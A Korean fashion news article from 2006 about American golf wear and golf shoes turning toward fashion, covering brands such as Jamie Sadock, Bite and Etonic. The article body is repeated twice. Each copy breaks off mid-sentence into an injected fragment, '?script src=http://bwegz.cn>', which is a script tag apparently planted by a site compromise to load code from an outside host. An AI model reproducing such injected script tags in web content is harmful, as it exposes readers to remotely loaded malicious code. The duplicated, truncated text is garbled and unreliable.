골프, 패션을 입는다
2006-12-29 예정현 기자 < michel@fashioninsight.com>
골프웨어 - 소재·스타일· 다변화
미국 골프웨어 시장에 패션 바람이 확연하다. 어둡고 단조로운 디자인 반바지, 셔츠, 새들(Saddle) 슈즈 일색이었던 골프웨어 마켓은 리조트웨어 개념이 강하게 접목된 다양한 색상과 스타일의 슬리브리스, 터들넥 셔츠, 패턴이 돋보이는 스커트와 반바지 등 패셔너블한 아이템이 속속 등장하고 골프화 역시 발등과 발가락이 훤히 드러나는 샌들 슈즈가 트렌드로 떠오르는 등 획일적인 골프웨어가 패션화 바람이 불고 있다. 소재 또한 면과 울 일색이었던 전통에서 벗어나 스웨이드, 실크 등 고급스런 패션 소재가 도입되고 플레이드 무늬와 아가일로 대변되는 전통적인 패턴도 플라워, 애니멀, 기하학적인 패턴 등 모던한 스타일로 변화를 꾀하고 있다.
리조트웨어, 라이프스타일 컨셉 접목
골프웨어 브랜드 「재미사독(Jamie Sadock)」은 골프웨어와 라이프스타일 컨셉을 접목, 필드에서는 물론 쇼핑갈 때도 입을 수 있는 스타일을 만들어냈고, 「테일(Tail)」은 럭셔리한 소재를 사용한 세련되고 스타일리쉬한 디자인을 선보여 골프웨어의 트렌드세터 역할을 해내고 있다. 「스포트해일리(Sport Haley)」 「토미힐피거(Tommy Hilfiger)」 「아스트라(Astra)」 등의 브랜드 역시 젊은 여성들의 패션 감각을 가미, 밑위 길이·바지 길이를 다양화한 반바지와 스코트(스커트반바지)와 셔츠는 물론 여성적인 느낌이 강한 블라우스를 내놓았고, 면 일색이었던 소재 역시 실크와 스웨이드, 가죽까지 도입하면서 패서너블한 이미지를 강조하고 있다. 다양한 가공법을 도입, 소재의 표면감에 변화를 준 것도 기존의 골프웨어 개념과 차별적인 느낌을 준다.
골프 마켓에 젊은 여성층이 증가하면서 골프화의 패션화 바람은 더욱 빨라지고 있다. 패션에 민감한 이들의 욕구를 충족시키기 위해 허리선을 골반으로 내린 로우라이즈 반바지가 등장하고, 무릎까지 오던 기존의 바지 길이는 엉덩이 바로 밑으로 떨어지는 초미니 스타일까지 다양화되며 홀터넥 스타일의 슬리브리스 셔츠가 골프웨어 시장에 편입되고 있다.
골프슈즈, 패션+기능+편안함
전형적인 골프화 스타일이 장악한 골프화 시장은 캐주얼한 느낌의 샌들이 추격전을 벌이고 있고 디자이너들은 신기술과 패션감성을 더한 새로운 골프화를 속속히 내놓으면서 기능과 패션이 겸비된 골프화 시대를 열고 있다.
또한 골프화에 패션이 차지하는 비중이 커지면서 「폴로(Polo)」 「토미바하마(Tommy Bahama)」 등 어패럴업체들의 골프화 시장 진입이 늘어나고 있는 것도 눈에 띄는 현상이다.
샌들 골프화의 혁신
6년 전 바이트골프(Bite Golf)가 발가락이 드러나는 골프 슈즈를 선보인 것은 ‘골프화의 패션화’를 촉발시킨 하나의 혁명이었다. 발가락이 드러나지 않는 보수적인 운동화 스타일이 지배하던 골프화에 이단아처럼 등장한 샌들형 슈즈는 「나이키(Nike)」 「풋죠이(FootJoy)」 등 메이저 업체들의 참여를 이끌었고 편안함과 트렌디한 멋이 어필하면서 골프화 시장의 총아로 떠올랐다. 소재 역시 가죽부터 패브릭, 메쉬까지 다양함을 자랑한다. 골프는 장시간 움직이고 서있는 경기이기 때문에 가볍고 통기성이 좋은 샌들의 도입은 경기력 향상에도 영향을 미친다. 또한 땀을 흡수한 신발을 물로 빨 수 있어 위생적인 면에서도 OK.
과감히 발등을 드러낸 스타일을 소개, 필드의 패션화를 이끈 「바이트(Bite)」는 통기성을 강화한 메쉬를 소재로 한 ‘숨쉬는 골프화’ AC 시리즈를 연속 내놓으며 트렌디하고 편안한 골프화 개발을 가속시키고 있는데 AC 시리즈는 가볍고 통기성이 뛰어날 뿐 아니라 기계 세탁이 가능해 위생적·실용적이다. 이처럼 브라운+화이트 또는 블랙+브라운 칼라의 결합이 돋보이는 새들형 골프화의 아성을 뚫고 샌들형 골프화의 스타일이 갈수록 다양해지고 있다는 것은 그만큼 샌들을 애용하는 선수와 애호가들이 늘고 있다는 증거라 할 수 있다. 날씨가 차가운 가을에는 새들형 많이 팔리고 땀을 많이 흘리는 여름에는 캐주얼한 샌들형이 우세하다는 것도 눈여겨볼 대목이다.
유연한 바닥창, 뛰어난 방수성 - 테크놀로지의 힘
이처럼 캐주얼한 스타일이 인기를 더하면서 「에토닉(Etonic)」은 기존의 ‘Dri-Lite 300 Athletic’ 스타일에 착용감과 편안함이 우수한 바닥창을 부착, 기능성을 보완하고 ‘드라이테크’ 시리즈의 경우 천연가죽과 합성가죽을 함께 사용해 방수성을 높이는 한편 자유롭게 구부리고 펼 수 있는 바닥창을 덧붙인 ‘스태빌라이저(Stabilizer)’ 시리즈를 새롭게 선보이며 골퍼들의 다양한 욕구를 제품에 반영하는데 힘쓰고 있다. 「에토닉」의 또다른 시리즈 ‘드라이-라이트 300’은 「에토닉」 특유의 방수처리는 물론 듀얼 슬립온 새들 형태로 기능적인 면에서 우수하다.
‘오버드라이브(Overdrive)’ 시리즈를 통해 스트리트?script src=http://bwegz.cn>
미국 골프웨어 시장에 패션 바람이 확연하다. 어둡고 단조로운 디자인 반바지, 셔츠, 새들(Saddle) 슈즈 일색이었던 골프웨어 마켓은 리조트웨어 개념이 강하게 접목된 다양한 색상과 스타일의 슬리브리스, 터들넥 셔츠, 패턴이 돋보이는 스커트와 반바지 등 패셔너블한 아이템이 속속 등장하고 골프화 역시 발등과 발가락이 훤히 드러나는 샌들 슈즈가 트렌드로 떠오르는 등 획일적인 골프웨어가 패션화 바람이 불고 있다. 소재 또한 면과 울 일색이었던 전통에서 벗어나 스웨이드, 실크 등 고급스런 패션 소재가 도입되고 플레이드 무늬와 아가일로 대변되는 전통적인 패턴도 플라워, 애니멀, 기하학적인 패턴 등 모던한 스타일로 변화를 꾀하고 있다.
리조트웨어, 라이프스타일 컨셉 접목
골프웨어 브랜드 「재미사독(Jamie Sadock)」은 골프웨어와 라이프스타일 컨셉을 접목, 필드에서는 물론 쇼핑갈 때도 입을 수 있는 스타일을 만들어냈고, 「테일(Tail)」은 럭셔리한 소재를 사용한 세련되고 스타일리쉬한 디자인을 선보여 골프웨어의 트렌드세터 역할을 해내고 있다. 「스포트해일리(Sport Haley)」 「토미힐피거(Tommy Hilfiger)」 「아스트라(Astra)」 등의 브랜드 역시 젊은 여성들의 패션 감각을 가미, 밑위 길이·바지 길이를 다양화한 반바지와 스코트(스커트반바지)와 셔츠는 물론 여성적인 느낌이 강한 블라우스를 내놓았고, 면 일색이었던 소재 역시 실크와 스웨이드, 가죽까지 도입하면서 패서너블한 이미지를 강조하고 있다. 다양한 가공법을 도입, 소재의 표면감에 변화를 준 것도 기존의 골프웨어 개념과 차별적인 느낌을 준다.
골프 마켓에 젊은 여성층이 증가하면서 골프화의 패션화 바람은 더욱 빨라지고 있다. 패션에 민감한 이들의 욕구를 충족시키기 위해 허리선을 골반으로 내린 로우라이즈 반바지가 등장하고, 무릎까지 오던 기존의 바지 길이는 엉덩이 바로 밑으로 떨어지는 초미니 스타일까지 다양화되며 홀터넥 스타일의 슬리브리스 셔츠가 골프웨어 시장에 편입되고 있다.
골프슈즈, 패션+기능+편안함
전형적인 골프화 스타일이 장악한 골프화 시장은 캐주얼한 느낌의 샌들이 추격전을 벌이고 있고 디자이너들은 신기술과 패션감성을 더한 새로운 골프화를 속속히 내놓으면서 기능과 패션이 겸비된 골프화 시대를 열고 있다.
또한 골프화에 패션이 차지하는 비중이 커지면서 「폴로(Polo)」 「토미바하마(Tommy Bahama)」 등 어패럴업체들의 골프화 시장 진입이 늘어나고 있는 것도 눈에 띄는 현상이다.
샌들 골프화의 혁신
6년 전 바이트골프(Bite Golf)가 발가락이 드러나는 골프 슈즈를 선보인 것은 ‘골프화의 패션화’를 촉발시킨 하나의 혁명이었다. 발가락이 드러나지 않는 보수적인 운동화 스타일이 지배하던 골프화에 이단아처럼 등장한 샌들형 슈즈는 「나이키(Nike)」 「풋죠이(FootJoy)」 등 메이저 업체들의 참여를 이끌었고 편안함과 트렌디한 멋이 어필하면서 골프화 시장의 총아로 떠올랐다. 소재 역시 가죽부터 패브릭, 메쉬까지 다양함을 자랑한다. 골프는 장시간 움직이고 서있는 경기이기 때문에 가볍고 통기성이 좋은 샌들의 도입은 경기력 향상에도 영향을 미친다. 또한 땀을 흡수한 신발을 물로 빨 수 있어 위생적인 면에서도 OK.
과감히 발등을 드러낸 스타일을 소개, 필드의 패션화를 이끈 「바이트(Bite)」는 통기성을 강화한 메쉬를 소재로 한 ‘숨쉬는 골프화’ AC 시리즈를 연속 내놓으며 트렌디하고 편안한 골프화 개발을 가속시키고 있는데 AC 시리즈는 가볍고 통기성이 뛰어날 뿐 아니라 기계 세탁이 가능해 위생적·실용적이다. 이처럼 브라운+화이트 또는 블랙+브라운 칼라의 결합이 돋보이는 새들형 골프화의 아성을 뚫고 샌들형 골프화의 스타일이 갈수록 다양해지고 있다는 것은 그만큼 샌들을 애용하는 선수와 애호가들이 늘고 있다는 증거라 할 수 있다. 날씨가 차가운 가을에는 새들형 많이 팔리고 땀을 많이 흘리는 여름에는 캐주얼한 샌들형이 우세하다는 것도 눈여겨볼 대목이다.
유연한 바닥창, 뛰어난 방수성 - 테크놀로지의 힘
이처럼 캐주얼한 스타일이 인기를 더하면서 「에토닉(Etonic)」은 기존의 ‘Dri-Lite 300 Athletic’ 스타일에 착용감과 편안함이 우수한 바닥창을 부착, 기능성을 보완하고 ‘드라이테크’ 시리즈의 경우 천연가죽과 합성가죽을 함께 사용해 방수성을 높이는 한편 자유롭게 구부리고 펼 수 있는 바닥창을 덧붙인 ‘스태빌라이저(Stabilizer)’ 시리즈를 새롭게 선보이며 골퍼들의 다양한 욕구를 제품에 반영하는데 힘쓰고 있다. 「에토닉」의 또다른 시리즈 ‘드라이-라이트 300’은 「에토닉」 특유의 방수처리는 물론 듀얼 슬립온 새들 형태로 기능적인 면에서 우수하다.
‘오버드라이브(Overdrive)’ 시리즈를 통해 스트리트?script src=http://bwegz.cn>
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